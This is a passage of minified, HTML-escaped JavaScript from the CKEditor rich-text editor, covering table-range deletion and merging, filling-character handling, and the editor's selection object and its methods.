b){if(!a.tableContentsRanges&amp;&amp;!a.mergeListBookmark){var c=new CKEDITOR.dom.range(b);c.setStartBefore(a.bookmark.startNode);c.setEndAfter(a.bookmark.endNode);a.mergeBlockBookmark=c.createBookmark()}},merge:function(a,c){if(a.mergeBlockBookmark&amp;&amp;!a.purgeTableBookmark){var d=a.mergeBlockBookmark.startNode,e=a.mergeBlockBookmark.endNode,f=new CKEDITOR.dom.elementPath(d,c),g=new CKEDITOR.dom.elementPath(e,c),f=f.block,g=g.block;f&amp;&amp;g&amp;&amp;!f.equals(g)&amp;&amp;b(g,d,e);d.remove();e.remove()}}},table:function(){function a(c){var e=
[],f,g=new CKEDITOR.dom.walker(c),k=c.startPath().contains(d),h=c.endPath().contains(d),l={};g.guard=function(a,g){if(a.type==CKEDITOR.NODE_ELEMENT){var A=&quot;visited_&quot;+(g?&quot;out&quot;:&quot;in&quot;);if(a.getCustomData(A))return;CKEDITOR.dom.element.setMarker(l,a,A,1)}if(g&amp;&amp;k&amp;&amp;a.equals(k))f=c.clone(),f.setEndAt(k,CKEDITOR.POSITION_BEFORE_END),e.push(f);else if(!g&amp;&amp;h&amp;&amp;a.equals(h))f=c.clone(),f.setStartAt(h,CKEDITOR.POSITION_AFTER_START),e.push(f);else{if(A=!g)A=a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(d)&amp;&amp;(!k||b(a,k))&amp;&amp;(!h||
b(a,h));if(!A&amp;&amp;(A=g))if(a.is(d))var A=k&amp;&amp;k.getAscendant(&quot;table&quot;,!0),I=h&amp;&amp;h.getAscendant(&quot;table&quot;,!0),m=a.getAscendant(&quot;table&quot;,!0),A=A&amp;&amp;A.contains(m)||I&amp;&amp;I.contains(m);else A=void 0;A&amp;&amp;(f=c.clone(),f.selectNodeContents(a),e.push(f))}};g.lastForward();CKEDITOR.dom.element.clearAllMarkers(l);return e}function b(a,c){var d=CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_IS_CONTAINED,e=a.getPosition(c);return e===CKEDITOR.POSITION_IDENTICAL?!1:0===(e&amp;d)}var d={td:1,th:1,caption:1};return{detectPurge:function(a){var b=
a.range,c=b.clone();c.enlarge(CKEDITOR.ENLARGE_ELEMENT);var c=new CKEDITOR.dom.walker(c),e=0;c.evaluator=function(a){a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(d)&amp;&amp;++e};c.checkForward();if(1&lt;e){var c=b.startPath().contains(&quot;table&quot;),f=b.endPath().contains(&quot;table&quot;);c&amp;&amp;f&amp;&amp;b.checkBoundaryOfElement(c,CKEDITOR.START)&amp;&amp;b.checkBoundaryOfElement(f,CKEDITOR.END)&amp;&amp;(b=a.range.clone(),b.setStartBefore(c),b.setEndAfter(f),a.purgeTableBookmark=b.createBookmark())}},detectRanges:function(e,f){var g=c(f,e.bookmark),k=g.clone(),
h,m,l=g.getCommonAncestor();l.is(CKEDITOR.dtd.$tableContent)&amp;&amp;!l.is(d)&amp;&amp;(l=l.getAscendant(&quot;table&quot;,!0));m=l;l=new CKEDITOR.dom.elementPath(g.startContainer,m);m=new CKEDITOR.dom.elementPath(g.endContainer,m);l=l.contains(&quot;table&quot;);m=m.contains(&quot;table&quot;);if(l||m)l&amp;&amp;m&amp;&amp;b(l,m)?(e.tableSurroundingRange=k,k.setStartAt(l,CKEDITOR.POSITION_AFTER_END),k.setEndAt(m,CKEDITOR.POSITION_BEFORE_START),k=g.clone(),k.setEndAt(l,CKEDITOR.POSITION_AFTER_END),h=g.clone(),h.setStartAt(m,CKEDITOR.POSITION_BEFORE_START),
h=a(k).concat(a(h))):l?m||(e.tableSurroundingRange=k,k.setStartAt(l,CKEDITOR.POSITION_AFTER_END),g.setEndAt(l,CKEDITOR.POSITION_AFTER_END)):(e.tableSurroundingRange=k,k.setEndAt(m,CKEDITOR.POSITION_BEFORE_START),g.setStartAt(m,CKEDITOR.POSITION_AFTER_START)),e.tableContentsRanges=h?h:a(g)},deleteRanges:function(a){for(var b;b=a.tableContentsRanges.pop();)b.extractContents(),w(b.startContainer)&amp;&amp;b.startContainer.appendBogus();a.tableSurroundingRange&amp;&amp;a.tableSurroundingRange.extractContents()},purge:function(a){if(a.purgeTableBookmark){var b=
a.doc,c=a.range.clone(),b=b.createElement(&quot;p&quot;);b.insertBefore(a.purgeTableBookmark.startNode);c.moveToBookmark(a.purgeTableBookmark);c.deleteContents();a.range.moveToPosition(b,CKEDITOR.POSITION_AFTER_START)}}}}(),detectExtractMerge:function(a){return!(a.range.startPath().contains(CKEDITOR.dtd.$listItem)&amp;&amp;a.range.endPath().contains(CKEDITOR.dtd.$listItem))},fixUneditableRangePosition:function(a){a.startContainer.getDtd()[&quot;#&quot;]||a.moveToClosestEditablePosition(null,!0)},autoParagraph:function(a,b){var c=
b.startPath(),d;k(a,c.block,c.blockLimit)&amp;&amp;(d=h(a))&amp;&amp;(d=b.document.createElement(d),d.appendBogus(),b.insertNode(d),b.moveToPosition(d,CKEDITOR.POSITION_AFTER_START))}}}()})();
(function(){function a(a){return CKEDITOR.plugins.widget&amp;&amp;CKEDITOR.plugins.widget.isDomWidget(a)}function d(b,c){if(0===b.length||a(b[0].getEnclosedNode()))return!1;var d,e;if((d=!c&amp;&amp;1===b.length)&amp;&amp;!(d=b[0].collapsed)){var f=b[0];d=f.startContainer.getAscendant({td:1,th:1},!0);var g=f.endContainer.getAscendant({td:1,th:1},!0);e=CKEDITOR.tools.trim;d&amp;&amp;d.equals(g)&amp;&amp;!d.findOne(&quot;td, th, tr, tbody, table&quot;)?(f=f.cloneContents(),d=f.getFirst()?e(f.getFirst().getText())!==e(d.getText()):!0):d=!1}if(d)return!1;
for(e=0;e&lt;b.length;e++)if(d=b[e]._getTableElement(),!d)return!1;return!0}function b(a){function b(a){a=a.find(&quot;td, th&quot;);var c=[],d;for(d=0;d&lt;a.count();d++)c.push(a.getItem(d));return c}var c=[],d,e;for(e=0;e&lt;a.length;e++)d=a[e]._getTableElement(),d.is&amp;&amp;d.is({td:1,th:1})?c.push(d):c=c.concat(b(d));return c}function c(a){a=b(a);var c=&quot;&quot;,d=[],e,f;for(f=0;f&lt;a.length;f++)e&amp;&amp;!e.equals(a[f].getAscendant(&quot;tr&quot;))?(c+=d.join(&quot;\t&quot;)+&quot;\n&quot;,e=a[f].getAscendant(&quot;tr&quot;),d=[]):0===f&amp;&amp;(e=a[f].getAscendant(&quot;tr&quot;)),d.push(a[f].getText());
return c+=d.join(&quot;\t&quot;)}function f(a){var b=this.root.editor,d=b.getSelection(1);this.reset();n=!0;d.root.once(&quot;selectionchange&quot;,function(a){a.cancel()},null,null,0);d.selectRanges([a[0]]);d=this._.cache;d.ranges=new CKEDITOR.dom.rangeList(a);d.type=CKEDITOR.SELECTION_TEXT;d.selectedElement=a[0]._getTableElement();d.selectedText=c(a);d.nativeSel=null;this.isFake=1;this.rev=M++;b._.fakeSelection=this;n=!1;this.root.fire(&quot;selectionchange&quot;)}function g(){var b=this._.fakeSelection,c;if(b){c=this.getSelection(1);
var e;if(!(e=!c)&amp;&amp;(e=!c.isHidden())){e=b;var f=c.getRanges(),g=e.getRanges(),k=f.length&amp;&amp;f[0]._getTableElement()&amp;&amp;f[0]._getTableElement().getAscendant(&quot;table&quot;,!0),l=g.length&amp;&amp;g[0]._getTableElement()&amp;&amp;g[0]._getTableElement().getAscendant(&quot;table&quot;,!0),h=1===f.length&amp;&amp;f[0]._getTableElement()&amp;&amp;f[0]._getTableElement().is(&quot;table&quot;),B=1===g.length&amp;&amp;g[0]._getTableElement()&amp;&amp;g[0]._getTableElement().is(&quot;table&quot;);if(a(e.getSelectedElement()))e=!1;else{var A=1===f.length&amp;&amp;f[0].collapsed,g=d(f,!!CKEDITOR.env.webkit)&amp;&amp;
d(g);k=k&amp;&amp;l?k.equals(l)||l.contains(k):!1;k&amp;&amp;(A||g)?(h&amp;&amp;!B&amp;&amp;e.selectRanges(f),e=!0):e=!1}e=!e}e&amp;&amp;(b.reset(),b=0)}if(!b&amp;&amp;(b=c||this.getSelection(1),!b||b.getType()==CKEDITOR.SELECTION_NONE))return;this.fire(&quot;selectionCheck&quot;,b);c=this.elementPath();c.compare(this._.selectionPreviousPath)||(e=this._.selectionPreviousPath&amp;&amp;this._.selectionPreviousPath.blockLimit.equals(c.blockLimit),!CKEDITOR.env.webkit&amp;&amp;!CKEDITOR.env.gecko||e||(this._.previousActive=this.document.getActive()),this._.selectionPreviousPath=
c,this.fire(&quot;selectionChange&quot;,{selection:b,path:c}))}function k(){C=!0;r||(h.call(this),r=CKEDITOR.tools.setTimeout(h,200,this))}function h(){r=null;C&amp;&amp;(CKEDITOR.tools.setTimeout(g,0,this),C=!1)}function p(a){return L(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!a.is(CKEDITOR.dtd.$empty)?!0:!1}function q(a){function b(c,d){return c&amp;&amp;c.type!=CKEDITOR.NODE_TEXT?a.clone()[&quot;moveToElementEdit&quot;+(d?&quot;End&quot;:&quot;Start&quot;)](c):!1}if(!(a.root instanceof CKEDITOR.editable))return!1;var c=a.startContainer,d=a.getPreviousNode(p,
null,c),e=a.getNextNode(p,null,c);return b(d)||b(e,1)||!(d||e||c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.isBlockBoundary()&amp;&amp;c.getBogus())?!0:!1}function e(a){x(a,!1);var b=a.getDocument().createText(u);a.setCustomData(&quot;cke-fillingChar&quot;,b);return b}function x(a,b){var c=a&amp;&amp;a.removeCustomData(&quot;cke-fillingChar&quot;);if(c){if(!1!==b){var d=a.getDocument().getSelection().getNative(),e=d&amp;&amp;&quot;None&quot;!=d.type&amp;&amp;d.getRangeAt(0),f=u.length;if(c.getLength()&gt;f&amp;&amp;e&amp;&amp;e.intersectsNode(c.$)){var l=[{node:d.anchorNode,offset:d.anchorOffset},
{node:d.focusNode,offset:d.focusOffset}];d.anchorNode==c.$&amp;&amp;d.anchorOffset&gt;f&amp;&amp;(l[0].offset-=f);d.focusNode==c.$&amp;&amp;d.focusOffset&gt;f&amp;&amp;(l[1].offset-=f)}}c.setText(w(c.getText(),1));l&amp;&amp;(c=a.getDocument().$,d=c.getSelection(),c=c.createRange(),c.setStart(l[0].node,l[0].offset),c.collapse(!0),d.removeAllRanges(),d.addRange(c),d.extend(l[1].node,l[1].offset))}}function w(a,b){return b?a.replace(H,function(a,b){return b?&quot; &quot;:&quot;&quot;}):a.replace(u,&quot;&quot;)}function z(a,b){var c=b&amp;&amp;CKEDITOR.tools.htmlEncode(b)||&quot;\x26nbsp;&quot;,
c=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv data-cke-hidden-sel\x3d&quot;1&quot; data-cke-temp\x3d&quot;1&quot; style\x3d&quot;&#039;+(CKEDITOR.env.ie&amp;&amp;14&gt;CKEDITOR.env.version?&quot;display:none&quot;:&quot;position:fixed;top:0;left:-1000px;width:0;height:0;overflow:hidden;&quot;)+&#039;&quot;\x3e&#039;+c+&quot;\x3c/div\x3e&quot;,a.document);a.fire(&quot;lockSnapshot&quot;);a.editable().append(c);var d=a.getSelection(1),e=a.createRange(),f=d.root.on(&quot;selectionchange&quot;,function(a){a.cancel()},null,null,0);e.setStartAt(c,CKEDITOR.POSITION_AFTER_START);e.setEndAt(c,CKEDITOR.POSITION_BEFORE_END);
d.selectRanges([e]);f.removeListener();a.fire(&quot;unlockSnapshot&quot;);a._.hiddenSelectionContainer=c}function F(a){var b={37:1,39:1,8:1,46:1};return function(c){var d=c.data.getKeystroke();if(b[d]){var e=a.getSelection().getRanges(),f=e[0];1==e.length&amp;&amp;f.collapsed&amp;&amp;(d=f[38&gt;d?&quot;getPreviousEditableNode&quot;:&quot;getNextEditableNode&quot;]())&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;false&quot;==d.getAttribute(&quot;contenteditable&quot;)&amp;&amp;(a.getSelection().fake(d),c.data.preventDefault(),c.cancel())}}}function v(a){for(var b=0;b&lt;a.length;b++){var c=
a[b];c.getCommonAncestor().isReadOnly()&amp;&amp;a.splice(b,1);if(!c.collapsed){if(c.startContainer.isReadOnly())for(var d=c.startContainer,e;d&amp;&amp;!((e=d.type==CKEDITOR.NODE_ELEMENT)&amp;&amp;d.is(&quot;body&quot;)||!d.isReadOnly());)e&amp;&amp;&quot;false&quot;==d.getAttribute(&quot;contentEditable&quot;)&amp;&amp;c.setStartAfter(d),d=d.getParent();d=c.startContainer;e=c.endContainer;var f=c.startOffset,l=c.endOffset,g=c.clone();d&amp;&amp;d.type==CKEDITOR.NODE_TEXT&amp;&amp;(f&gt;=d.getLength()?g.setStartAfter(d):g.setStartBefore(d));e&amp;&amp;e.type==CKEDITOR.NODE_TEXT&amp;&amp;(l?g.setEndAfter(e):
g.setEndBefore(e));d=new CKEDITOR.dom.walker(g);d.evaluator=function(d){if(d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.isReadOnly()){var e=c.clone();c.setEndBefore(d);c.collapsed&amp;&amp;a.splice(b--,1);d.getPosition(g.endContainer)&amp;CKEDITOR.POSITION_CONTAINS||(e.setStartAfter(d),e.collapsed||a.splice(b+1,0,e));return!0}return!1};d.next()}}return a}var m=&quot;function&quot;!=typeof window.getSelection,M=1,u=CKEDITOR.tools.repeat(&quot;​&quot;,7),H=new RegExp(u+&quot;( )?&quot;,&quot;g&quot;),n,r,C,L=CKEDITOR.dom.walker.invisible(1),D=function(){function a(b){return function(a){var c=
a.editor.createRange();c.moveToClosestEditablePosition(a.selected,b)&amp;&amp;a.editor.getSelection().selectRanges([c]);return!1}}function b(a){return function(b){var c=b.editor,d=c.createRange(),e;if(!c.readOnly)return(e=d.moveToClosestEditablePosition(b.selected,a))||(e=d.moveToClosestEditablePosition(b.selected,!a)),e&amp;&amp;c.getSelection().selectRanges([d]),c.fire(&quot;saveSnapshot&quot;),b.selected.remove(),e||(d.moveToElementEditablePosition(c.editable()),c.getSelection().selectRanges([d])),c.fire(&quot;saveSnapshot&quot;),
!1}}var c=a(),d=a(1);return{37:c,38:c,39:d,40:d,8:b(),46:b(1)}}();CKEDITOR.on(&quot;instanceCreated&quot;,function(a){function b(){var a=c.getSelection();a&amp;&amp;a.removeAllRanges()}var c=a.editor;c.on(&quot;contentDom&quot;,function(){function a(){p=new CKEDITOR.dom.selection(c.getSelection());p.lock()}function b(){f.removeListener(&quot;mouseup&quot;,b);n.removeListener(&quot;mouseup&quot;,b);var a=CKEDITOR.document.$.selection,c=a.createRange();&quot;None&quot;!=a.type&amp;&amp;c.parentElement()&amp;&amp;c.parentElement().ownerDocument==e.$&amp;&amp;c.select()}function d(a){a=
a.getRanges()[0];return a?(a=a.startContainer.getAscendant(function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasAttribute(&quot;contenteditable&quot;)},!0))&amp;&amp;&quot;false&quot;===a.getAttribute(&quot;contenteditable&quot;)?a:null:null}var e=c.document,f=CKEDITOR.document,h=c.editable(),t=e.getBody(),n=e.getDocumentElement(),E=h.isInline(),q,p;CKEDITOR.env.gecko&amp;&amp;h.attachListener(h,&quot;focus&quot;,function(a){a.removeListener();0!==q&amp;&amp;(a=c.getSelection().getNative())&amp;&amp;a.isCollapsed&amp;&amp;a.anchorNode==h.$&amp;&amp;(a=c.createRange(),a.moveToElementEditStart(h),
a.select())},null,null,-2);h.attachListener(h,CKEDITOR.env.webkit||CKEDITOR.env.gecko?&quot;focusin&quot;:&quot;focus&quot;,function(){if(q&amp;&amp;(CKEDITOR.env.webkit||CKEDITOR.env.gecko)){q=c._.previousActive&amp;&amp;c._.previousActive.equals(e.getActive());var a=null!=c._.previousScrollTop&amp;&amp;c._.previousScrollTop!=h.$.scrollTop;CKEDITOR.env.webkit&amp;&amp;q&amp;&amp;a&amp;&amp;(h.$.scrollTop=c._.previousScrollTop)}c.unlockSelection(q);q=0},null,null,-1);h.attachListener(h,&quot;mousedown&quot;,function(){q=0});if(CKEDITOR.env.ie||E)m?h.attachListener(h,&quot;beforedeactivate&quot;,
a,null,null,-1):h.attachListener(c,&quot;selectionCheck&quot;,a,null,null,-1),h.attachListener(h,CKEDITOR.env.webkit||CKEDITOR.env.gecko?&quot;focusout&quot;:&quot;blur&quot;,function(){c.lockSelection(p);q=1},null,null,-1),h.attachListener(h,&quot;mousedown&quot;,function(){q=0});if(CKEDITOR.env.ie&amp;&amp;!E){var w;h.attachListener(h,&quot;mousedown&quot;,function(a){2==a.data.$.button&amp;&amp;((a=c.document.getSelection())&amp;&amp;a.getType()!=CKEDITOR.SELECTION_NONE||(w=c.window.getScrollPosition()))});h.attachListener(h,&quot;mouseup&quot;,function(a){2==a.data.$.button&amp;&amp;
w&amp;&amp;(c.document.$.documentElement.scrollLeft=w.x,c.document.$.documentElement.scrollTop=w.y);w=null});if(&quot;BackCompat&quot;!=e.$.compatMode){if(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat){var r,u;n.on(&quot;mousedown&quot;,function(a){function b(a){a=a.data.$;if(r){var c=t.$.createTextRange();try{c.moveToPoint(a.clientX,a.clientY)}catch(d){}r.setEndPoint(0&gt;u.compareEndPoints(&quot;StartToStart&quot;,c)?&quot;EndToEnd&quot;:&quot;StartToStart&quot;,c);r.select()}}function c(){n.removeListener(&quot;mousemove&quot;,b);f.removeListener(&quot;mouseup&quot;,c);n.removeListener(&quot;mouseup&quot;,
c);r.select()}a=a.data;if(a.getTarget().is(&quot;html&quot;)&amp;&amp;a.$.y&lt;n.$.clientHeight&amp;&amp;a.$.x&lt;n.$.clientWidth){r=t.$.createTextRange();try{r.moveToPoint(a.$.clientX,a.$.clientY)}catch(d){}u=r.duplicate();n.on(&quot;mousemove&quot;,b);f.on(&quot;mouseup&quot;,c);n.on(&quot;mouseup&quot;,c)}})}if(7&lt;CKEDITOR.env.version&amp;&amp;11&gt;CKEDITOR.env.version)n.on(&quot;mousedown&quot;,function(a){a.data.getTarget().is(&quot;html&quot;)&amp;&amp;(f.on(&quot;mouseup&quot;,b),n.on(&quot;mouseup&quot;,b))})}}h.attachListener(h,&quot;selectionchange&quot;,g,c);h.attachListener(h,&quot;keyup&quot;,k,c);h.attachListener(h,&quot;touchstart&quot;,
k,c);h.attachListener(h,&quot;touchend&quot;,k,c);CKEDITOR.env.ie&amp;&amp;h.attachListener(h,&quot;keydown&quot;,function(a){var b=this.getSelection(1),c=d(b);c&amp;&amp;!c.equals(h)&amp;&amp;(b.selectElement(c),a.data.preventDefault())},c);h.attachListener(h,CKEDITOR.env.webkit||CKEDITOR.env.gecko?&quot;focusin&quot;:&quot;focus&quot;,function(){c.forceNextSelectionCheck();c.selectionChange(1)});if(E&amp;&amp;(CKEDITOR.env.webkit||CKEDITOR.env.gecko)){var v;h.attachListener(h,&quot;mousedown&quot;,function(){v=1});h.attachListener(e.getDocumentElement(),&quot;mouseup&quot;,function(){v&amp;&amp;
k.call(c);v=0})}else h.attachListener(CKEDITOR.env.ie?h:e.getDocumentElement(),&quot;mouseup&quot;,k,c);CKEDITOR.env.webkit&amp;&amp;h.attachListener(e,&quot;keydown&quot;,function(a){switch(a.data.getKey()){case 13:case 33:case 34:case 35:case 36:case 37:case 39:case 8:case 45:case 46:h.hasFocus&amp;&amp;x(h)}},null,null,-1);h.attachListener(h,&quot;keydown&quot;,F(c),null,null,-1)});c.on(&quot;setData&quot;,function(){c.unlockSelection();CKEDITOR.env.webkit&amp;&amp;b()});c.on(&quot;contentDomUnload&quot;,function(){c.unlockSelection()});if(CKEDITOR.env.ie9Compat)c.on(&quot;beforeDestroy&quot;,
b,null,null,9);c.on(&quot;dataReady&quot;,function(){delete c._.fakeSelection;delete c._.hiddenSelectionContainer;c.selectionChange(1)});c.on(&quot;loadSnapshot&quot;,function(){var a=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT),b=c.editable().getLast(a);b&amp;&amp;b.hasAttribute(&quot;data-cke-hidden-sel&quot;)&amp;&amp;(b.remove(),CKEDITOR.env.gecko&amp;&amp;(a=c.editable().getFirst(a))&amp;&amp;a.is(&quot;br&quot;)&amp;&amp;a.getAttribute(&quot;_moz_editor_bogus_node&quot;)&amp;&amp;a.remove())},null,null,100);c.on(&quot;key&quot;,function(a){if(&quot;wysiwyg&quot;==c.mode){var b=c.getSelection();if(b.isFake){var d=
D[a.data.keyCode];if(d)return d({editor:c,selected:b.getSelectedElement(),selection:b,keyEvent:a})}}})});if(CKEDITOR.env.webkit)CKEDITOR.on(&quot;instanceReady&quot;,function(a){var b=a.editor;b.on(&quot;selectionChange&quot;,function(){var a=b.editable(),c=a.getCustomData(&quot;cke-fillingChar&quot;);c&amp;&amp;(c.getCustomData(&quot;ready&quot;)?(x(a),a.editor.fire(&quot;selectionCheck&quot;)):c.setCustomData(&quot;ready&quot;,1))},null,null,-1);b.on(&quot;beforeSetMode&quot;,function(){x(b.editable())},null,null,-1);b.on(&quot;getSnapshot&quot;,function(a){a.data&amp;&amp;(a.data=w(a.data))},
b,null,20);b.on(&quot;toDataFormat&quot;,function(a){a.data.dataValue=w(a.data.dataValue)},null,null,0)});CKEDITOR.editor.prototype.selectionChange=function(a){(a?g:k).call(this)};CKEDITOR.editor.prototype.getSelection=function(a){return!this._.savedSelection&amp;&amp;!this._.fakeSelection||a?(a=this.editable())&amp;&amp;&quot;wysiwyg&quot;==this.mode?new CKEDITOR.dom.selection(a):null:this._.savedSelection||this._.fakeSelection};CKEDITOR.editor.prototype.lockSelection=function(a){a=a||this.getSelection(1);return a.getType()!=CKEDITOR.SELECTION_NONE?
(!a.isLocked&amp;&amp;a.lock(),this._.savedSelection=a,!0):!1};CKEDITOR.editor.prototype.unlockSelection=function(a){var b=this._.savedSelection;return b?(b.unlock(a),delete this._.savedSelection,!0):!1};CKEDITOR.editor.prototype.forceNextSelectionCheck=function(){delete this._.selectionPreviousPath};CKEDITOR.dom.document.prototype.getSelection=function(){return new CKEDITOR.dom.selection(this)};CKEDITOR.dom.range.prototype.select=function(){var a=this.root instanceof CKEDITOR.editable?this.root.editor.getSelection():
new CKEDITOR.dom.selection(this.root);a.selectRanges([this]);return a};CKEDITOR.SELECTION_NONE=1;CKEDITOR.SELECTION_TEXT=2;CKEDITOR.SELECTION_ELEMENT=3;CKEDITOR.dom.selection=function(a){if(a instanceof CKEDITOR.dom.selection){var b=a;a=a.root}var c=a instanceof CKEDITOR.dom.element;this.rev=b?b.rev:M++;this.document=a instanceof CKEDITOR.dom.document?a:a.getDocument();this.root=c?a:this.document.getBody();this.isLocked=0;this._={cache:{}};if(b)return CKEDITOR.tools.extend(this._.cache,b._.cache),
this.isFake=b.isFake,this.isLocked=b.isLocked,this;a=this.getNative();var d,e;if(a)if(a.getRangeAt)d=(e=a.rangeCount&amp;&amp;a.getRangeAt(0))&amp;&amp;new CKEDITOR.dom.node(e.commonAncestorContainer);else{try{e=a.createRange()}catch(f){}d=e&amp;&amp;CKEDITOR.dom.element.get(e.item&amp;&amp;e.item(0)||e.parentElement())}if(!d||d.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;d.type!=CKEDITOR.NODE_TEXT||!this.root.equals(d)&amp;&amp;!this.root.contains(d))this._.cache.type=CKEDITOR.SELECTION_NONE,this._.cache.startElement=null,this._.cache.selectedElement=
null,this._.cache.selectedText=&quot;&quot;,this._.cache.ranges=new CKEDITOR.dom.rangeList;return this};var N={img:1,hr:1,li:1,table:1,tr:1,td:1,th:1,embed:1,object:1,ol:1,ul:1,a:1,input:1,form:1,select:1,textarea:1,button:1,fieldset:1,thead:1,tfoot:1};CKEDITOR.tools.extend(CKEDITOR.dom.selection,{_removeFillingCharSequenceString:w,_createFillingCharSequenceNode:e,FILLING_CHAR_SEQUENCE:u});CKEDITOR.dom.selection.prototype={getNative:function(){return void 0!==this._.cache.nativeSel?this._.cache.nativeSel:this._.cache.nativeSel=
m?this.document.$.selection:this.document.getWindow().$.getSelection()},getType:m?function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_NONE;try{var c=this.getNative(),d=c.type;&quot;Text&quot;==d&amp;&amp;(b=CKEDITOR.SELECTION_TEXT);&quot;Control&quot;==d&amp;&amp;(b=CKEDITOR.SELECTION_ELEMENT);c.createRange().parentElement()&amp;&amp;(b=CKEDITOR.SELECTION_TEXT)}catch(e){}return a.type=b}:function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_TEXT,c=this.getNative();if(!c||!c.rangeCount)b=CKEDITOR.SELECTION_NONE;
else if(1==c.rangeCount){var c=c.getRangeAt(0),d=c.startContainer;d==c.endContainer&amp;&amp;1==d.nodeType&amp;&amp;1==c.endOffset-c.startOffset&amp;&amp;N[d.childNodes[c.startOffset].nodeName.toLowerCase()]&amp;&amp;(b=CKEDITOR.SELECTION_ELEMENT)}return a.type=b},getRanges:function(){var a=m?function(){function a(b){return(new CKEDITOR.dom.node(b)).getIndex()}var b=function(b,c){b=b.duplicate();b.collapse(c);var d=b.parentElement();if(!d.hasChildNodes())return{container:d,offset:0};for(var e=d.children,f,g,h=b.duplicate(),k=0,
m=e.length-1,n=-1,t,q;k&lt;=m;)if(n=Math.floor((k+m)/2),f=e[n],h.moveToElementText(f),t=h.compareEndPoints(&quot;StartToStart&quot;,b),0&lt;t)m=n-1;else if(0&gt;t)k=n+1;else return{container:d,offset:a(f)};if(-1==n||n==e.length-1&amp;&amp;0&gt;t){h.moveToElementText(d);h.setEndPoint(&quot;StartToStart&quot;,b);h=h.text.replace(/(\r\n|\r)/g,&quot;\n&quot;).length;e=d.childNodes;if(!h)return f=e[e.length-1],f.nodeType!=CKEDITOR.NODE_TEXT?{container:d,offset:e.length}:{container:f,offset:f.nodeValue.length};for(d=e.length;0&lt;h&amp;&amp;0&lt;d;)g=e[--d],g.nodeType==
CKEDITOR.NODE_TEXT&amp;&amp;(q=g,h-=g.nodeValue.length);return{container:q,offset:-h}}h.collapse(0&lt;t?!0:!1);h.setEndPoint(0&lt;t?&quot;StartToStart&quot;:&quot;EndToStart&quot;,b);h=h.text.replace(/(\r\n|\r)/g,&quot;\n&quot;).length;if(!h)return{container:d,offset:a(f)+(0&lt;t?0:1)};for(;0&lt;h;)try{g=f[0&lt;t?&quot;previousSibling&quot;:&quot;nextSibling&quot;],g.nodeType==CKEDITOR.NODE_TEXT&amp;&amp;(h-=g.nodeValue.length,q=g),f=g}catch(p){return{container:d,offset:a(f)}}return{container:q,offset:0&lt;t?-h:q.nodeValue.length+h}};return function(){var a=this.getNative(),c=a&amp;&amp;
a.createRange(),d=this.getType();if(!a)return[];if(d==CKEDITOR.SELECTION_TEXT)return a=new CKEDITOR.dom.range(this.root),d=b(c,!0),a.setStart(new CKEDITOR.dom.node(d.container),d.offset),d=b(c),a.setEnd(new CKEDITOR.dom.node(d.container),d.offset),a.endContainer.getPosition(a.startContainer)&amp;CKEDITOR.POSITION_PRECEDING&amp;&amp;a.endOffset&lt;=a.startContainer.getIndex()&amp;&amp;a.collapse(),[a];if(d==CKEDITOR.SELECTION_ELEMENT){for(var d=[],e=0;e&lt;c.length;e++){for(var f=c.item(e),g=f.parentNode,h=0,a=new CKEDITOR.dom.range(this.root);h&lt;
g.childNodes.length&amp;&amp;g.childNodes[h]!=f;h++);a.setStart(new CKEDITOR.dom.node(g),h);a.setEnd(new CKEDITOR.dom.node(g),h+1);d.push(a)}return d}return[]}}():function(){var a=[],b,c=this.getNative();if(!c)return a;for(var d=0;d&lt;c.rangeCount;d++){var e=c.getRangeAt(d);b=new CKEDITOR.dom.range(this.root);b.setStart(new CKEDITOR.dom.node(e.startContainer),e.startOffset);b.setEnd(new CKEDITOR.dom.node(e.endContainer),e.endOffset);a.push(b)}return a};return function(b){var c=this._.cache,d=c.ranges;d||(c.ranges=
d=new CKEDITOR.dom.rangeList(a.call(this)));return b?v(new CKEDITOR.dom.rangeList(d.slice())):d}}(),getStartElement:function(){var a=this._.cache;if(void 0!==a.startElement)return a.startElement;var b;switch(this.getType()){case CKEDITOR.SELECTION_ELEMENT:return this.getSelectedElement();case CKEDITOR.SELECTION_TEXT:var c=this.getRanges()[0];if(c){if(c.collapsed)b=c.startContainer,b.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(b=b.getParent());else{for(c.optimize();b=c.startContainer,c.startOffset==(b.getChildCount?
b.getChildCount():b.getLength())&amp;&amp;!b.isBlockBoundary();)c.setStartAfter(b);b=c.startContainer;if(b.type!=CKEDITOR.NODE_ELEMENT)return b.getParent();if((b=b.getChild(c.startOffset))&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT)for(c=b.getFirst();c&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT;)b=c,c=c.getFirst();else b=c.startContainer}b=b.$}}return a.startElement=b?new CKEDITOR.dom.element(b):null},getSelectedElement:function(){var a=this._.cache;if(void 0!==a.selectedElement)return a.selectedElement;var b=this,c=CKEDITOR.tools.tryThese(function(){return b.getNative().createRange().item(0)},
function(){for(var a=b.getRanges()[0].clone(),c,d,e=2;e&amp;&amp;!((c=a.getEnclosedNode())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;N[c.getName()]&amp;&amp;(d=c));e--)a.shrink(CKEDITOR.SHRINK_ELEMENT);return d&amp;&amp;d.$});return a.selectedElement=c?new CKEDITOR.dom.element(c):null},getSelectedText:function(){var a=this._.cache;if(void 0!==a.selectedText)return a.selectedText;var b=this.getNative(),b=m?&quot;Control&quot;==b.type?&quot;&quot;:b.createRange().text:b.toString();return a.selectedText=b},lock:function(){this.getRanges();this.getStartElement();
